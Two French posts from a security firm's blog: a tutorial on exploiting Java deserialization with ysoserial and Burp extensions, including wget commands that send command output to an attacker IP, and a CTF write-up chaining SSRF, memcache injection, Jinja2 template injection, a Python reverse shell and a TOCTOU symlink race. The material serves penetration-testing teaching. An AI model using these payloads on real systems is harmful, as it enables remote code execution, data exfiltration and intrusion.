SecurityInsider
Le blog des experts sécurité Wavestone

Techniques et outils d’attaque sur les moteurs de désérialisation (Java)



Introduction

La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications.


Exemple de sérialisation d'une variable de type String en Java:

String name = "Wavestone"; FileOutputStream file = new FileOutputStream("file.bin"); ObjectOutputStream out = new ObjectOutputStream(file); out.writeObject(name);

Le fichier file.bin contenant l’objet name sérialisé a cette forme :

AC ED 00 05 74 00 09 57 61 76 65 73 74 6f 6e 65 ....t..Wavestone

  • La chaîne commence par “AC ED” – il s’agit du code hexadécimal identifiant la donnée sérialisée, toutes les données sérialisées commencent par cette valeur.
  • Le protocole de sérialisation version “00 05”.
  • Le type de variable String est identifié par le code “74”.
  • Puis la taille de la variable “00 09”.
  • Et finalement la variable en elle-même.


La désérialisation est l'inverse de ce processus, prenant des données structurées à partir d'un format et les reconstruisant en un objet. Le format de données le plus répandu pour la sérialisation des données est JSON (dans le passé, le format XML était majoritaire).
Pour reprendre l’exemple en Java sus-cité :

FileInputStream file = new FileInputStream("file.bin"); ObjectInputStream out = new ObjectInputStream(file); name = (String)out.readObject(); System.out.println(name);

Le résultat dans la console sera donc
Wavestone

La fonction readObject est appelée pour désérialiser l'objet (à l'aide de ObjectInputStream) - et le convertir en String.

La désérialisation a de multiples cas d’usage pour les développeurs, par exemple (ici en Java) :
  • Désérialiser un objet “SQLConnection” pour se connecter à une base de données
  • Désérialiser un objet “User” pour récupérer des informations stockées dans une base de données en exécutant des requêtes SQL spécifiques
  • Désérialiser un objet “LogFile” pour restaurer les données précédemment enregistrées sur un profil utilisateur

De nombreux langages de programmation offrent une capacité native de sérialisation des objets. Ces formats natifs offrent généralement davantage de fonctionnalités que JSON ou XML, y compris la personnalisation du processus de sérialisation.

Malheureusement, les fonctionnalités de ces mécanismes de désérialisation natifs peuvent être détournées à des fins malveillantes lorsque la donnée à désérialiser est en fait une charge utile forgée spécifiquement par un attaquant pour être interprété comme du code à exécuter.

Les attaques contre les moteurs de désérialisation permettent notamment des attaques par déni de service, de contournement de contrôle d'accès et d'exécution de code à distance (RCE).

Exemple d’attaque : RCE

Cet exemple de code récupère un paramètre appelé csrfValue, qui est un jeton anti-CSRF présent sur une application web, envoyé à l’application sous forme de paramètre HTTP GET.
Pour cela, le paramètre est récupéré sous forme de String puis converti en ByteArrayInputStream et lu via la fonction readObject() pour être désérialisé.

String parameterValue = request.getParameter("csrfValue"); byte[] csrfBytes =DatatypeConverter.parseBase64Binary(parameterValue); ByteArrayInputStream bis = new ByteArrayInputStream(csrfBytes); ObjectInput in = new ObjectInputStream(bis); csrfToken = (CSRF)in.readObject();

Cette fonction est potentiellement vulnérable: en effet, la fonction readObject() est appelé sur des valeurs envoyées par l’utilisateur en tant que paramètre csrfValue de la requête HTTP.

En effet, la fonction readObject() a pour spécificité de pouvoir être implémentée dans les classes Serializable qui en ont besoin pour lire un objet sérialisé.
Imaginons par exemple que la classe CSRF vue plus haut contienne pour une raison obscure ce morceau de code :

public class CSRF implements Serializable { public String command = "ls"; public void execCommand(){ Runtime.getRuntime().exec(this.command); private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { this.execCommand(); } }

L’attaquant n’aurait qu’à forger un objet CSRF sérialisé (récupéré par le code plus haut dans csrfValue) contenant un paramètre command contenant la commande de son choix pour exécuter du code arbitrairement sur le serveur.

En effet :
  • ObjectInputStream ne vérifie pas quelle classe est désérialisée
  • Il n’y a pas de liste blanche ou noire de classes autorisées à être désérialisées

Ce cas de figure très facile à exploiter d’une implémentation de readObject() exécutant directement du code est toutefois très rare dans la réalité.
Ce qui arrive le plus fréquemment est que l’attaquant trouve une fonction ou une classe vulnérable à la modification de ses paramètres, qui peut appeler une autre fonction ou instancier une autre classe dans son périmètre d’exécution.

Les classes et fonctions disponibles dans le périmètre d’exécution d’une application sont appelées « gadget ». Suite à l’envoi d’une charge malveillante à un premier gadget appelé « kick-off gadget », une chaîne d’appels et d’invocation est lancée jusqu’à tomber sur un gadget qui est vulnérable à l’exécution de code arbitraire, appelé « sink gadget » :



De nombreux sink gadget existent dans les librairies de sérialisation/désérialisation standard, notamment :
  • Spring AOP (dévoilé par Wouter Coekaerts en 2011)
  • Commons-fileupload (dévoilé par Arun Babu Neelicattu en 2013)
  • Groovy (dévoilé par cpnrodzc7 / @frohoff en 2015)
  • Apache Commons-Collections (dévoilé par @frohoff et @gebl en 2015)
  • Spring Beans (dévoilé par @frohoff et @gebl en 2015)
  • Serial DoS (dévoilé par Wouter Coekaerts en 2015)
  • SpringTx (dévoilé par @zerothinking en 2016)
  • JDK7 (dévoilé par @frohoff en 2016)
  • Beanutils (dévoilé par @frohoff en 2016)
  • Hibernate, MyFaces, C3P0, net.sf.json, ROME (dévoilé par M. Bechler en 2016)
  • Beanshell (dévoilé par @pwntester et @cschneider4711 en 2016)
  • JDK7 Rhino (dévoilé par @matthias_kaiser en 2016)

Des outils générant des charges utiles spécialement conçues pour attaquer des gadgets affectés par des vulnérabilités publiques dans les librairies les plus utilisées existent, notamment le très complet ysoserial, développé par Frohoff : https://github.com/frohoff/ysoserial.

Exemple d’attaque : Compromission de compte utilisateur

Si un attaquant contrôle les données qui sont désérialisée par une application, il a alors une influence sur les variables en mémoire et les objets applicatifs. Il peut alors influencer le flux de code utilisant ces variables et ces objets.
Voyons un exemple d’attaque sur un morceau de code utilisant la désérialisation en Java :

public class Session { public String username; public boolean loggedIn; public void loadSession(byte[] sessionData) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sessionData)); this.username = ois.readUTF(); this.loggedIn = ois.readBoolean(); } }

La méthode loadSession accepte un tableau d’octets en tant que paramètre et désérialise une chaîne et un booléen de ce tableau d'octets dans les propriétés username et loggedIn de l'objet.
Si un attaquant peut contrôler le contenu du tableau d’octets sessionData transmis à cette méthode, il peut alors contrôler les propriétés de cet objet : username et loggedIn.

Voici un exemple d'utilisation de cet objet Session dans une fonction de changement de mot de passe :

public class UserSettingsController { public void updatePassword(Session session, String newPassword) throws Exception { if(session.loggedIn) { UserModel.updatePassword(session.username, newPassword); } else { throw new Exception("Error: User not logged in."); } } }

Si le paramètre loggedIn de l’objet session vaut 1, le mot de passe de l'utilisateur dont le username correspond au paramètre idoine de l’objet session est mis à jour avec la valeur newPassword donnée.
Ici, si l’attaquant peut contrôler le contenu du tableau d’octets sessionData alors il pourrait changer le mot de passe de n’importe quel utilisateur !

C’est un exemple simple de « Property Oriented Programming Gadget », un morceau de code sur lequel l’attaquant peut agir non pas en direct mais via les propriétés d’un objet.

Un point important à retenir de cet exemple est qu'un exploit de désérialisation n'implique pas forcément l'envoi de classes ou de code au serveur à exécuter.
L’attaquant envoie simplement des données qui seront intégrées dans propriétés des classes dont le serveur a déjà connaissance afin de manipuler le code existant traitant de ces propriétés.
Un exploit réussi repose donc énormément sur la connaissance du code qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.

Après la théorie, la pratique

Maintenant que vous savez tout (ou presque) sur la sérialisation/désérialisation Java et ses faiblesses, passons à la pratique :
  1. Comment trouver les fonctions utilisant la désérialisation lors d’un test d'intrusion web et les librairies utilisées ?
  2. Comment attaquer ces fonctions et potentiellement réussir à exécuter du code sur le serveur ?

Trouver les fonctions à attaquer

Méthode 1 : A la main, pour plus de finesse

La première étape de l’audit consiste à identifier l’utilisation de la désérialisation dans l’application auditée. Pour cela, différentes méthodes sont possibles :
  • Chercher la séquence hexadécimale suivante dans les transactions (capturées par burp) entre votre machine et le serveur : 0xAC ED.
    • Cette séquence de 2 octets est appelée « magic number » et est présente au début de chaque objet sérialisé. Elle est suivie du numéro de version, souvent 00 05.
    • Attention : Parfois, les objets sérialisés sont en plus encodés en base64, la séquence 0xAC ED devient alors rO0
  • Chercher des noms de classes Java dans les transactions, tels que java.rmi.dgc.Lease.
    • Dans certains cas, les noms de classe Java peuvent apparaître dans un autre format commençant par un « L », se terminant par un « ; » et utilisant des barres obliques pour séparer les parties de l'espace de noms et le nom de la classe (par exemple, "Ljava / rmi / dgc / VMID;").
    • En raison de la spécification du format de sérialisation, d'autres chaînes peuvent être présentes, telles que "sr" pouvant représenter un objet (TC_OBJECT) suivi de sa description de classe (TC_CLASSDESC) ou "xp" pouvant indiquer la fin des annotations de classe, (TC_ENDBLOCKDATA) pour une classe qui n'a pas de super classe (TC_NULL).
  • Chercher l'entête Content-Type suivant : application/x-java-serialized-object

Après avoir identifié l'utilisation de données sérialisées, il faut identifier l’offset dans ces données où il est possible d’injecter une charge utile.
La cible doit appeler ObjectInputStream.readObject pour désérialiser et instancier un objet. Toutefois, elle peut appeler d'autres méthodes de ObjectInputStream, telles que readInt qui lira simplement un entier à 4 octets dans le stream. La méthode readObject lit les types de contenu suivants à partir d'un flux de sérialisation :
  • 0x70 – TC_NULL
  • 0x71 – TC_REFERENCE
  • 0x72 – TC_CLASSDESC
  • 0x73 – TC_OBJECT
  • 0x74 – TC_STRING
  • 0x75 – TC_ARRAY
  • 0x76 – TC_CLASS
  • 0x7B – TC_EXCEPTION
  • 0x7C – TC_LONGSTRING
  • 0x7D – TC_PROXYCLASSDESC
  • 0x7E – TC_ENUM

Dans les cas les plus simples, la première chose lue dans le flux de sérialisation est directement l’objet à désérialiser, et nous pouvons donc insérer notre charge directement après l'en-tête de sérialisation à 4 octets.
Nous pouvons identifier ces cas en regardant les cinq premiers octets du flux de sérialisation. Si ces cinq octets sont un en-tête de sérialisation à quatre octets (0xAC ED 00 05) suivi d'une des valeurs répertoriées ci-dessus, nous pouvons attaquer la cible en envoyant notre propre en-tête de sérialisation à quatre octets suivis d'un objet malveillant (la charge).

Dans d'autres cas, l'en-tête de sérialisation à quatre octets sera probablement suivi d'un élément TC_BLOCKDATA (0x77) ou d'un élément TC_BLOCKDATALONG (0x7A). Le premier consiste en un unique octet suivi des données de bloc et le second consiste en quatre octets suivi des données de bloc.
Si les données sont suivies de l'un des types d'élément pris en charge par readObject, nous pouvons alors injecter une charge utile après les données de bloc.

Nick Bloor a écrit un outil, SerializationDumper, qui permet de faciliter cette analyse. Voici un exemple d’utilisation :


Dans cet exemple, le flux contient un TC_BLOCKDATA suivi d'un TC_STRING qui peut être remplacé par une charge utile.

Méthode 2 : Automatiquement pour plus d'exhaustivité

Pour détecter des fonctions utilisant la désérialisation de façon automatisée, il est aussi possible d’utiliser l’extension Burp Java Deserialization Scanner en tant que scanner passif, scanner actif, ou pour tester une fonction précise.
Les librairies vulnérables actuellement prises en charge par l’outil sont :
  • Apache Commons Collections 3 (up to 3.2.1)
  • Apache Commons Collections 4 (up to 4.4.0)
  • Spring (up to 4.2.2)
  • Java 6 and Java 7 (up to Jdk7u21)
  • Hibernate 5
  • JSON
  • Rome
  • Java 8 (up to Jdk8u20)
  • Apache Commons BeanUtils

Pour utiliser la fonction de scanner passif ou actif, il suffit d’aller dans l’onglet correspondant de Burp et attendre l’apparition d’éventuelles vulnérabilités :


Pour tester une fonction précise, il faut dans un premier temps intercepter une requête dans Burp, puis réaliser un clic droit et l’envoyer à Java DS :



L’outil permet de déterminer les charges utiles (gadgets) qui semblent fonctionner, donc de deviner les librairies utilisées par l’application pour la désérialisation:



A noter

Le plug-in Java DS repose sur un outil intégré de génération de charges utiles (gadgets) open source : ysoserial. Il est préférable d’utiliser la dernière version de l’outil, car elle inclut les types de charge les plus récents en fonction des vulnérabilités découvertes sur les librairies de sérialisation.
Une fois le projet créé, n’oubliez donc pas de modifier le plug-in Java DS pour qu'il pointe vers le fichier jar ysoserial que vous aurez préalablement téléchargé :


Attaquer les fonctions utilisant la désérialisation

La fonction de désérialisation utilisée par l’application peut :
  • Être écrite et redéfinie spécifiquement dans la classe de l’objet à désérialiser (override de la méthode readObject)
  • Être appelée dans une bibliothèque externe, la plus connue étant Apache Commons Collections (fonction Utils.DeserializeFromFile)
  • De nombreuses autres possibilités existent : méthode readResolve, méthode readExternal, méthode readUnshared, bibliothèque XStream, etc.

L’outil Java Deserialization Scanner aura permis d’identifier la librairie utilisée. La prochaine étape est donc de générer la charge utile (gadget) correspondant à la librairie en question.
Pour cela il existe 3 possibilités :
  • Générer un payload avec ysoserial puis l’envoyer au serveur
  • Utiliser l’extension Burp Java Deserialization Scanner
  • Utiliser l’extension Burp Java Serial Killer

Méthode 1 : YSoSerial

L'une des vulnérabilités les plus importantes liée à la désérialisation a été découverte dans la bibliothèque Apache Commons Collections.
Si une version vulnérable de cette bibliothèque (ou d’une autre bibliothèque vulnérable) est présente sur le système exécutant l'application utilisant la désérialisation, cette vulnérabilité peut entraîner l'exécution de code à distance.
Afin d'exploiter cette vulnérabilité, il est possible d’utiliser l'outil ysoserial, qui contient une collection d'exploits et permet de générer des objets sérialisés malveillants qui exécuteront des commandes lors de la désérialisation. 
Il est juste nécessaire de spécifier la bibliothèque vulnérable. Voici un exemple pour Windows :
java -jar ysoserial-master.jar CommonsCollections5 calc.exe > wave.stone

Cela générera un objet sérialisé (fichier wave.stone) pour la bibliothèque vulnérable Apache Commons Collections et l'exploit exécutera la commande « calc.exe ».
Si le code suivant est présent côté serveur :

LogFile objet = new LogFile(); String file = "wave.stone"; // Désérialisation de l’objet objet = (LogFile)Utils.DeserializeFromFile(file);

Alors après envoi de la charge malveillante au serveur (via Burp), l’output côté serveur sera le suivant :

Deserializing from wave.stone Exception in thread "main" java.lang.ClassCastException: java.management/javax.management.BadAttributeValueExpException cannot be cast to LogFile at LogFiles.main(LogFiles.java:105)

Et le résultat sur le serveur sera l’exécution de calc.exe :


Méthode 2 : Java DS

À la suite de la phase de détection, nous savons qu’une charge utile (gadget) forgé pour CommonsCollections1 fonctionne contre notre cible.
En accédant à l’onglet « Exploiting » de Java DS, il est possible de créer et d’envoyer nos propres charges utiles.
Par exemple, pour tenter de lancer la commande uname -a sur le système Unix distant (si c’est un Unix) on entrera la commande suivante :


Le serveur renvoie ici un autre objet sérialisé en réponse, ce qui ne nous permet absolument pas de savoir si notre commande a réussi ou pas, ni d’avoir sa sortie.


Une technique permettant de valider l'exécution réussie de nos commandes consiste à utiliser un canal auxiliaire basé sur le temps : En mettant en pause le processus en cours d’exécution avec la commande Java Sleep, nous pouvons démontrer avec certitude que l’application est vulnérable en mesurant le temps de réponse du serveur.

Une charge utile basée sur la mise en pause du processus est donc suffisante pour identifier la vulnérabilité, mais si vous avez le temps et voulez aller encore plus loin, il est possible de récupérer cette sortie en déployant un serveur web sur votre machine, et en requêtant votre serveur web depuis le serveur cible.
Pour cela, sur votre machine d’audit, commencez par déployer un serveur web :
python -m SimpleHTTPServer 80

Et l’objectif va être de faire exécuter cette commande au serveur cible :
wget ip_attaquant/`uname -a | base64`

L’exploit de Apache Commons Collections fait transmettre notre commande à Apache Commons exec.
Par conséquent, les commandes sont invoquées sans avoir de shell parent, ce qui limite rapidement les actions… Mais on peut appeler un shell bash via Apache Commons exec via la commande bash -c.
Toutefois, Apache Commons exec parse les commandes en gérant très mal les espaces... Pour résoudre ce problème, on peut utiliser 2 approches :
  • Utiliser les fonctions de manipulation de chaîne en bash. Par exemple, cette commande charge le résultat en base64 de la commande echo yoloswag dans la variable c, qui est ensuite ajoutée au chemin de la requête wget : 
bash -c c=`{echo,yoloswag}|base64`&&{wget,ip_attaquant/$c}'

  • Il est aussi possible d’utiliser la variable $IFS (séparateur de champs interne) à la place des espaces dans la commande transmise à Bash. Ici pour lancer un uname -a :
bash –c wget$IFSip_attaquant/`uname$IFS-a|base64`

Dernier point important : il peut être nécessaire d’échapper les barres obliques et les signes dollar dans certaines situations, tout dépend de la charge utile et des fonctions touchées.
Ici, avec une machine d’audit ayant pour IP 54.161.175.139 :


Le résultat côté serveur web sur la machine d’audit est le suivant :


Une requête depuis l’IP du serveur cible apparaît, vers une URL encodée en base64 et qui correspond à la sortie de la commande « uname -a ».
En effet, après une extraction de la donnée et son décodage base64 par la commande suivante :
tail -n1 access.log | cut -d/ -f4 | cut ‘d’’ -f1 | base64 -d

Le résultat suivant apparaît :


Vous avez donc exécuté une commande uname -a avec succès sur le serveur cible : vous êtes désormais un serial hacker accompli !

Le maître deserializateur veut vous serrer la main

Méthode 3 : Java Serial Killer

À la suite de la phase de détection, nous savons qu’une charge utile (gadget) forgé pour CommonsCollections1 fonctionne contre notre cible.
Vous pouvez alors utiliser l’extension Burp Java Serial Killer ; un clic-droit sur une requête POST contenant un objet Java sérialisé dans le body permet de l’envoyer à l’extension :


Allez ensuite dans l’onglet Burp « Java Serial Killer » :


Cet onglet prend en entrée :
  • Une commande à exécuter sur le serveur cible
  • La librairie vulnérable à exploiter

Par exemple, pour envoyer une requête ping à wavestone.com en utilisant le type de charge utile CommonsCollections1, car nous savons qu’elle fonctionne suite à la phase de détection :


Il est aussi possible d’encoder la charge en Base64, si c’est le format attendu par le serveur (voir la petite checkbox à droite de « Serialize »).


Conclusion

Vous avez désormais les bases théoriques permettant de comprendre les vulnérabilités liées à la désérialisation en Java, et les techniques et outillages pratiques permettant de les exploiter dans les librairies les plus connues, sans connaissance préalable du code applicatif.

Toutefois, il est à garder en tête que ces librairies ne sont pas utilisées dans 100% des cas de désérialisation, comme vu dans le chapitre « Exemple d’attaque : Compromission de compte utilisateur », où la vulnérabilité exploitée n’impliquait d’ailleurs même pas l'envoi de code au serveur à exécuter. Les exploits plus spécifiques reposent donc énormément sur la connaissance du code (ou l’ingénierie inverse sur ce code) qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.

Par ailleurs, la sérialisation/désérialisation n’est pas un concept exclusif à Java, et se retrouve dans de nombreux autres langages de programmation, notamment :
  • Python : pickling / unpickling
  • PHP : serializing / deserializing
  • Ruby : marshalling / unmarshalling

La méthodologie globale reste la même, mais les outils peuvent varier (Freddy à la place de ysoserial pour les moteurs de désérialisation XML par exemple…).
La cheatsheet suivante peut donner de bonnes pistes d’audit pour ces autres langages et technologies :


Bilal BENSEDDIQ

Sources et références pour approfondir le sujet

Article Nytro sur la désérialisation Java 
Article de Synopsys expliquant comment exfiltrer de la donnée via la désérialisation Java et contourner les principales limitations techniques que l’on peut rencontrer
Cheatsheet pour la désérialisation Java
La désérialisation Java avec Burp
Article complet expliquant la désérialisation Java et listant plusieurs outils dédiés
Liste de recommandations sur l’usage de la désérialisation pour divers langages
Support d’un talk d’Insomnia sur la désérialisation pour plusieurs langages à l’OWASP New Zealand Day 2016
Exploitation de vulnérabilités de désérialisation Java dans des environnements sécurisés (systèmes avec pare-feu, Java mis à jour)
Exploiter la désérialisation Java en aveugle avec Burp et Ysoserial
Write-up du challenge Webgoat 8 (application d’entraînement développée par l’OWASP) d’exploitation d’une vulnérabilité de désérialisation non sécurisée
Article d’un reverse engineer de Tenable expliquant l’analyse de la  CVE-2016-3737, et l’écriture de gadgets pour Jython
Cours Java sur l’implémentation d’une classe sérialisable
Support d’un talk d’Alvaro Munoz (@pwntester) et Christian Schneider (@cschneider4711) à l’OWASP AppSecEU 2016 sur les vulnérabilités de désérialisation de la JVM et comment s’en protéger
Support d’un talk de Chris Frohoff (@frohoff) et Gabriel Lawrence (@gebl) à l’OWASP San Diego sur la désérialisation Java
Analyse de l’attaque d’Equifax (143 millions de clients touchés aux USA) en 2017 par @brandur, reposant sur le chaînage de gadgets
Support d’un talk de Matthias Kaiser (@matthias_kaiser) à la HackPra WS 2015 sur l’exploitation de vulnérabilités de désérialisation non-sécurisée
Article de Ian Haken sur la découverte automatisée de chaînes de gadgets, notamment avec Gadget Inspector
Article de @breenmachine de 2015 sur la désérialisation Java dans plusieurs technologies du marché et détail de 5 exploits (websphere, jboss, jenkins, weblogic et openNMS)

YesWeHack : Write-up du challenge LeHack



Le vendredi 28 juin dernier, l'association YesWeHack a publié sur son compte Twitter un challenge permettant de gagner une place pour l'événement LeHack, qui aura lieu les 6 et 7 juillet :


Ce dernier se présente sous la forme d'un challenge web nommé "Full Backend Stealer v3.13.37" :


Après plusieurs étapes, décrites ci-dessous, le challenge est tombé et la place a été attribuée !

Etape 1 : Server-side request forgery

Le serveur web se présente sous la forme d'une application permettant de récupérer le code source d'un autre site web. Par exemple sur le site wavestone.com :


Le requêteur a l'air d'être basé sur la libcurl, qui permet de gérer plusieurs protocoles d'accès aux données. A force de tests, le support pour les protocoles suivants à été établi :
  • http:// et https://
  • ftp://
  • gopher://
  • file://
Le protocole file:// permet notamment de requêter des fichiers locaux au serveur, permettant de réaliser une attaque de type Path Traversal. Par exemple, il est possible de recupérer le fichier /etc/passwd :



L'objectif serait alors de récupérer le code de l'application web. Pour ceci, le système de fichier procfs peut être utilisé, notamment le lien symbolique /proc/self qui pointe sur le répertoire /proc/<PID>/ de notre programme.
Les fichiers suivants sont d'intérêt :

/proc/self/environ : variables d'environnement

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=6a3165363d68 LANG=C.UTF-8 GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D PYTHON_VERSION=3.7.3 PYTHON_PIP_VERSION=19.1.1 HOME=/nonexistent
Ce fichier nous apprend que l'application utilise Python3, donc probablement Flask ou Django.

/proc/self/cmdline : chemin et arguments du programme

/usr/local/bin/python /usr/local/bin/gunicorn -b 0.0.0.0:5000 -w4 -t5 main:app
Ce fichier nous confirme l'utilisation de Python et nous indique que la source de l'application est située dans le fichier main.py du répertoire courant.

/proc/self/cwd/main.py : code source de l'application

Le code source complet de l'application est disponible sur ce gist. Le fonctionnement de l'application peut être déduit rapidement de ce dernier :
  • L'application utilise un cache de type memcache, qui tourne sur le port 11211
  • Les résultats du requêteur sont stockés dans ce cache
  • Les résultats sont accessibles par la suite via une URI présentant un hash de l'URL requêtée
Les fonctions ci-dessous détaillent ce mécanisme :
APP_SECRET = b"s3cr3t_h4shm4c_c0d3" def hash_url(s): return HMAC(APP_SECRET, s.encode("utf8"), md5).hexdigest() def fullscreen(secret): cache_key = hash_url(secret) page_html = cache.get(cache_key) if page_html is None: return abort(404) html = FULLSCREEN_HEADER + page_html + FULLSCREEN_FOOTER css = html_formater.get_style_defs("body") title = secret return render_template_string(html, title=title, css=css) def fetch_and_store(url, refresh): """ fetch and store url into cache return secret """ secret = hash_url(url) cache_key = hash_url(secret) if not refresh and cache.get(cache_key) is not None: return secret raw_html = fetch(url) if not raw_html: raw_html = ":: Empty response ::" html = highlight_file(raw_html) cache.set(cache_key, html) return secret

On obtient notamment l'égalité suivante : 
memcache_storage_name = hash_url( cache_uri ) = hash_url( hash_url( user_url ) )

Etape 2 : Injection memcache et RCE Python

La vulnérabilité de type Server-Side Request Forgery (SSRF) permet notamment d'interagir avec le protocole Gopher. Ce dernier permet d'échanger sous un format brut avec un service en écoute sur un port, par exemple pour envoyer une requête HTTP :
gopher://host.com:80/_GET%20%2FHTTP%2F1.1%0D%0AHost:%20host.user0D%0A%0D%0A

Ce protocole nous permet donc d'échanger directement avec le serveur memcache, puisque memcache utilise un protocole en clair, sous le format suivant :
set <storage_location> <flags> <timeout> <nb_bytes> <data>

Le script suivant permet d'envoyer des données au serveur memcache puis de récupérer le résultat de l'exécution :
#!/usr/bin/python import requests import sys import time from hmac import HMAC from hashlib import md5 APP_SECRET = "s3cr3t_h4shm4c_c0d3" def hash_url(s): return HMAC(APP_SECRET, s.encode("utf8"), md5).hexdigest() def getUrl(url): r = requests.post('https://lehack2019.h4cktheplanet.com/full-bs', data={'url': url}) line = [e for e in r.text.splitlines() if '<iframe' in e][0] src = line.split('"')[1] r = requests.get('https://lehack2019.h4cktheplanet.com' + src) return r.text def encode(s): return ''.join([('%' + c.encode('hex')) for c in list(s)]) def memcached(pay): page = md5(str(time.time())).hexdigest() payload = '_\r\n' payload+= 'set %s 0 0 %d\r\n' % (hash_url(page), len(pay)) payload+= '%s\r\n' % pay payload+= 'quit\r\n' getUrl('gopher://memcached:11211/%s' % encode(payload)) r = requests.get('https://lehack2019.h4cktheplanet.com/full-bs/cache/%s' % page) ret = r.text return ret.split('<body>')[1].split('</body>')[0] print memcached(sys.argv[1])
Il est possible d'injecter du code Python au travers d'une vulnérabilité de type Server-Side Template Injection (SSTI) dans le moteur de templating Jinja2 :
{{ 7*7 }} => 49 {{ '7'*7 }} => 7777777
L'exécution de code sur le serveur repose sur la découverte de la classe subprocess.Popen au sein des variables accessibles dans l'environnement Python :
{{ "" }} "" {{ "".__class__ }} <class "str"> {{ "".__class__.__mro__ }} (<class "str">, <class "object">) {{ "".__class__.__mro__[1] }} <class "object"> {{ "".__class__.__mro__[1].__subclasses__() }} [<class "type">, <class "weakref">, <class "weakcallableproxy">, ...] {{ "".__class__.__mro__[1].__subclasses__()[250] }} <class "subprocess.Popen">
Il est alors possible d'exécuter un reverse-shell pour obtenir un accès console au serveur. Pour rappel, la commande suivante permet d'obtenir un shell plus friendly rapidement :
iansus @ iansus.net $ python >>> import attack >>> attack.memcached('{{ "".__class__.__mro__[1].__subclasses__()[250](["python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"iansus.net\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);\'"], shell=True, stdout=-1, stderr=-1).communicate() }}') iansus @ iansus.net $ nc -lvp 444 $ python -c 'import pty; pty.spawn("/bin/bash");' nobody@6a3165363d68:/usr/src/app$

Etape 3 : TOCTOU 4 the win!

Une fois en accès console sur le serveur, force est de constater que l'utilisateur courant dispose de peu de privilège. Notamment, le fichier contenant le flag ne peut pas être lu directement :
nobody@6a3165363d68:/usr/src/app$ ls -l ls -l total 52 -rwsr-sr-x 1 flag flag 17232 Jun 26 15:15 file_reader -rw-r--r-- 1 root root 1255 Jun 26 15:14 file_reader.c -rw------- 1 flag flag 131 Jun 26 14:23 flag.txt -rw-r--r-- 1 root root 4524 Jun 28 08:32 main.py -rw-r--r-- 1 root root 88 Jun 28 11:18 memecached -rw-r--r-- 1 root root 81 Jun 26 21:36 requirements.txt drwxr-xr-x 3 root root 4096 Jun 26 15:02 static drwxr-xr-x 2 root root 4096 Jun 26 17:00 templates

Un utilitaire SUID nommé file_reader peut permettre d'accomplir cette tâche. Le code source est fourni et est disponible sur ce gist. La portion de code suivante est d'intérêt :
// ... int file_belong_to_user(const char *filename) { struct stat path_stat; stat(filename, &path_stat); return (path_stat.st_uid == getuid()) && (path_stat.st_gid == getgid()) ; } // ... void read_file(const char *filename){ int fd = open(filename, O_RDONLY); if (fd < 0){ die("Unable to open \"%s\"\n", filename); } sendfile(fileno(stdout), fd, 0, get_file_size((filename))); } int main(const int argc, const char **argv){ if (argc < 2){ die("Usage: ./file_reader FILENAME...\n"); } for (int x = 0; x < argc - 1; ++x){ const char *filename = argv[x + 1]; if (!file_belong_to_user(filename)){ die("[ERROR] \"%s\" does not belong to you.\n", filename); } } for (int x = 0; x < argc - 1; ++x){ const char *filename = argv[x + 1]; read_file(filename); } return 0; }

Il s'agit ici d'une race condition, puisque les droits d'accès aux fichiers passés en arguments sont vérifiés avant l'accès effectif à ces fichiers.
En sélectionnant un fichier volumineux, l'envoi à l'utilisateur consomme un temps non négligeable, suffisant pour exploiter la vulnérabilité Time Of Check to Time Of Use (TOCTOU). Le script bash suivant permet de réaliser cet exploit :
#!/bin/bash mkdir /tmp/iansus chmod 777 /tmp/iansus python -c 'print("a"*20*1000*1000)' > /tmp/iansus/bigfile rm -f /tmp/iansus/my_file /tmp/iansus/link echo lolilol > /tmp/iansus/my_file chmod 777 /tmp/iansus/my_file ln -sf /tmp/iansus/my_file /tmp/iansus/link ./file_reader /tmp/iansus/bigfile /tmp/iansus/link & rm /tmp/iansus/link ln -sf /usr/src/app/flag.txt /tmp/iansus/link

Merci à YesWeHack pour la place !

Jean MARSAULT